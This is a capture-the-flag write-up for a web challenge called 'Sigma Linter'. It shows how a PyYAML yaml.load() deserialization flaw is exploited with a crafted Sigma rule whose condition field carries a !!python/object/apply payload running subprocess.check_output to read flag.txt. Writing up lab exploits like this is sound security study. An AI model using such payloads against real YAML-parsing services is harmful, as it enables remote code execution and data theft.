Challenge informations

• Name: Sigma Linter
• Category: 🌐 Web

The walkthrough

We are presented with a linter for Sigma rules using YAML, there was only one endpoint that accepts a YAML file and the backend was made in Python.

Python’s PyYAML library has a well-known unsafe deserialization vulnerability when using yaml.load() without specifying a safe loader. It allows arbitrary Python objects to be instantiated via the !!python/object/apply tag, which can be used to execute shell commands.

The following payload was submitted to the linter endpoint:

title: Suspicious Process Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image: '*\\cmd.exe'
    CommandLine: '* /c *'
  condition: !!python/object/apply:subprocess.check_output [['cat', 'flag.txt']]

level: medium
description: Detects suspicious command execution
author: Security Team

The key part is the condition field — instead of a valid Sigma condition string, we inject a !!python/object/apply tag that calls subprocess.check_output with ['cat', 'flag.txt'] as arguments.

When the backend deserializes this YAML using the unsafe yaml.load(), it executes the command and the output is returned in the response, giving us the flag.